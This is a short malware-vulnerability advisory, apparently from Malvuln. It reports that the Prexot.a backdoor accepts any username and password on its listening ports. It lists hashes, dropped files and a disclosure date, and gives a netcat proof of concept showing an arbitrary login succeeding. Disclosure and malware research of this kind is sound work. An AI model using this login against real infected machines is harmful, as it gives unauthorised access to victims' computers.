Backdoor.Win32.Prexot.a malware suffers from a bypass vulnerability.
b22c7bec7401a64473a7c1f48d186639Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/29bc048d58ab8038c7001ef0d5e69c9b.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Prexot.a
Vulnerability: Authentication Bypass
Description: The malware listens on random high TCP ports e.g 11404, 19545, 17001, 10110. Third-party attackers who can reach an infected system can logon using any username/password combination.
Type: PE32
MD5: 29bc048d58ab8038c7001ef0d5e69c9b
Vuln ID: MVID-2022-0484
Dropped files: services.exe, mstempf.exe
Disclosure: 02/08/2022
Exploit/PoC:
nc64.exe x.x.x.x 10110
220 Bot Server (Win32)
USER malvuln
331 Password required.
PASS hate
230 Login successful. Have fun.
SYST
215 UNIX Type: L8
1PASV
227 Entering Passive Mode
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